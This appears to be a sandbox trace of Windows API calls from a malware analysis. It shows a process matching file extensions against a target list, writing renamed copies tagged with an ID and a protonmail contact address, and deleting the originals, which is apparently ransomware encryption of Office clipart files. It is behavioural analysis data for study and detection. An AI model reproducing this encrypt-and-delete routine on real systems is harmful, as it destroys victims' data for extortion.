	[0072.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0072.912] lstrlenW (lpString=".doc") returned 4
	[0072.912] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.912] lstrlenW (lpString=".docx") returned 5
	[0072.912] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.912] lstrlenW (lpString=".pdf") returned 4
	[0072.912] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.912] lstrlenW (lpString=".xls") returned 4
	[0072.912] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.912] lstrlenW (lpString=".xlsx") returned 5
	[0072.912] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.912] lstrlenW (lpString=".ppt") returned 4
	[0072.912] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0072.912] lstrlenW (lpString=".zip") returned 4
	[0072.913] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.913] lstrlenW (lpString=".rar") returned 4
	[0072.913] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.913] lstrlenW (lpString=".bz2") returned 4
	[0072.913] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.913] lstrlenW (lpString=".7z") returned 3
	[0072.913] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0072.913] lstrlenW (lpString=".dbf") returned 4
	[0072.913] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0072.913] lstrlenW (lpString=".1cd") returned 4
	[0072.913] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68
	[0072.913] lstrlenW (lpString=".jpg") returned 4
	[0072.913] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.913] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.913] lstrlenW (lpString="BD08868_.WMF") returned 12
	[0072.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0072.913] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=40206) returned 1
	[0072.913] CloseHandle (hObject=0x328) returned 1
	[0072.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x220
	[0072.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0072.914] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.914] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0072.914] GetLastError () returned 0x0
	[0072.914] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x9d0e, lpOverlapped=0x0) returned 1
	[0072.917] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x9d10, lpOverlapped=0x0) returned 1
	[0072.920] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.920] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.920] SetEndOfFile (hFile=0x38c) returned 1
	[0072.920] CloseHandle (hObject=0x38c) returned 1
	[0072.922] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.922] SetEndOfFile (hFile=0x328) returned 1
	[0072.923] CloseHandle (hObject=0x328) returned 1
	[0072.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.923] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 1
	[0072.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0072.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0072.923] lstrlenW (lpString=".doc") returned 4
	[0072.923] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.923] lstrlenW (lpString=".docx") returned 5
	[0072.923] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.923] lstrlenW (lpString=".pdf") returned 4
	[0072.923] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.923] lstrlenW (lpString=".xls") returned 4
	[0072.924] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.924] lstrlenW (lpString=".xlsx") returned 5
	[0072.924] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.924] lstrlenW (lpString=".ppt") returned 4
	[0072.924] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0072.924] lstrlenW (lpString=".zip") returned 4
	[0072.924] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.924] lstrlenW (lpString=".rar") returned 4
	[0072.924] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.924] lstrlenW (lpString=".bz2") returned 4
	[0072.924] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.924] lstrlenW (lpString=".7z") returned 3
	[0072.924] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0072.924] lstrlenW (lpString=".dbf") returned 4
	[0072.924] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0072.924] lstrlenW (lpString=".1cd") returned 4
	[0072.924] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0072.924] lstrlenW (lpString=".jpg") returned 4
	[0072.924] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0072.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0072.924] lstrlenW (lpString=".doc") returned 4
	[0072.924] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.924] lstrlenW (lpString=".docx") returned 5
	[0072.924] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.924] lstrlenW (lpString=".pdf") returned 4
	[0072.924] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.924] lstrlenW (lpString=".xls") returned 4
	[0072.924] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.925] lstrlenW (lpString=".xlsx") returned 5
	[0072.925] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.925] lstrlenW (lpString=".ppt") returned 4
	[0072.925] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0072.925] lstrlenW (lpString=".zip") returned 4
	[0072.925] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.925] lstrlenW (lpString=".rar") returned 4
	[0072.925] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.925] lstrlenW (lpString=".bz2") returned 4
	[0072.925] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.925] lstrlenW (lpString=".7z") returned 3
	[0072.925] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0072.925] lstrlenW (lpString=".dbf") returned 4
	[0072.925] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0072.925] lstrlenW (lpString=".1cd") returned 4
	[0072.925] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0072.925] lstrlenW (lpString=".jpg") returned 4
	[0072.925] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.925] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.925] lstrlenW (lpString="BD09031_.WMF") returned 12
	[0072.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0072.926] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=47786) returned 1
	[0072.927] CloseHandle (hObject=0x328) returned 1
	[0072.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x220
	[0072.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0072.927] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.927] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0072.927] GetLastError () returned 0x0
	[0072.927] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0xbaaa, lpOverlapped=0x0) returned 1
	[0073.227] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xbab0, lpOverlapped=0x0) returned 1
	[0073.228] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.228] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0073.228] SetEndOfFile (hFile=0x38c) returned 1
	[0073.722] CloseHandle (hObject=0x38c) returned 1
	[0073.749] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.749] SetEndOfFile (hFile=0x328) returned 1
	[0073.750] CloseHandle (hObject=0x328) returned 1
	[0073.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0073.750] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 1
	[0073.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0073.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0073.751] lstrlenW (lpString=".doc") returned 4
	[0073.751] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.751] lstrlenW (lpString=".docx") returned 5
	[0073.751] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.751] lstrlenW (lpString=".pdf") returned 4
	[0073.751] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.751] lstrlenW (lpString=".xls") returned 4
	[0073.751] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.751] lstrlenW (lpString=".xlsx") returned 5
	[0073.751] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.751] lstrlenW (lpString=".ppt") returned 4
	[0073.751] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0073.751] lstrlenW (lpString=".zip") returned 4
	[0073.751] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.751] lstrlenW (lpString=".rar") returned 4
	[0073.751] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.751] lstrlenW (lpString=".bz2") returned 4
	[0073.751] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.752] lstrlenW (lpString=".7z") returned 3
	[0073.752] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0073.752] lstrlenW (lpString=".dbf") returned 4
	[0073.752] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0073.752] lstrlenW (lpString=".1cd") returned 4
	[0073.752] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0073.752] lstrlenW (lpString=".jpg") returned 4
	[0073.752] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0073.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0073.752] lstrlenW (lpString=".doc") returned 4
	[0073.752] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.752] lstrlenW (lpString=".docx") returned 5
	[0073.752] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.752] lstrlenW (lpString=".pdf") returned 4
	[0073.752] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.752] lstrlenW (lpString=".xls") returned 4
	[0073.752] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.752] lstrlenW (lpString=".xlsx") returned 5
	[0073.752] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.752] lstrlenW (lpString=".ppt") returned 4
	[0073.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0073.753] lstrlenW (lpString=".zip") returned 4
	[0073.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.753] lstrlenW (lpString=".rar") returned 4
	[0073.753] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.753] lstrlenW (lpString=".bz2") returned 4
	[0073.753] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.753] lstrlenW (lpString=".7z") returned 3
	[0073.753] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0073.753] lstrlenW (lpString=".dbf") returned 4
	[0073.753] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0073.753] lstrlenW (lpString=".1cd") returned 4
	[0073.753] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0073.753] lstrlenW (lpString=".jpg") returned 4
	[0073.753] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.753] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0073.754] lstrlenW (lpString="BL00012_.WMF") returned 12
	[0073.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0073.754] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=9818) returned 1
	[0073.754] CloseHandle (hObject=0x328) returned 1
	[0073.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 0x220
	[0073.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0073.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0073.754] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.755] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0073.755] GetLastError () returned 0x0
	[0073.755] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x265a, lpOverlapped=0x0) returned 1
	[0073.768] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x2660, lpOverlapped=0x0) returned 1
	[0073.769] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.769] WriteFile (in: hFile=0x38c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0073.770] SetEndOfFile (hFile=0x38c) returned 1
	[0073.770] CloseHandle (hObject=0x38c) returned 1
	[0073.771] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.771] SetEndOfFile (hFile=0x328) returned 1
	[0073.772] CloseHandle (hObject=0x328) returned 1
	[0073.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0073.772] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 1
	[0073.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0073.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0073.773] lstrlenW (lpString=".doc") returned 4
	[0073.773] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.773] lstrlenW (lpString=".docx") returned 5
	[0073.773] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.773] lstrlenW (lpString=".pdf") returned 4
	[0073.773] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.773] lstrlenW (lpString=".xls") returned 4
	[0073.773] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.773] lstrlenW (lpString=".xlsx") returned 5
	[0073.773] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.773] lstrlenW (lpString=".ppt") returned 4
	[0073.773] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0073.773] lstrlenW (lpString=".zip") returned 4
	[0073.773] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.773] lstrlenW (lpString=".rar") returned 4
	[0073.774] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.774] lstrlenW (lpString=".bz2") returned 4
	[0073.774] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.774] lstrlenW (lpString=".7z") returned 3
	[0073.774] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0073.774] lstrlenW (lpString=".dbf") returned 4
	[0073.774] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0073.774] lstrlenW (lpString=".1cd") returned 4
	[0073.774] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
	[0073.774] lstrlenW (lpString=".jpg") returned 4
	[0073.774] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68
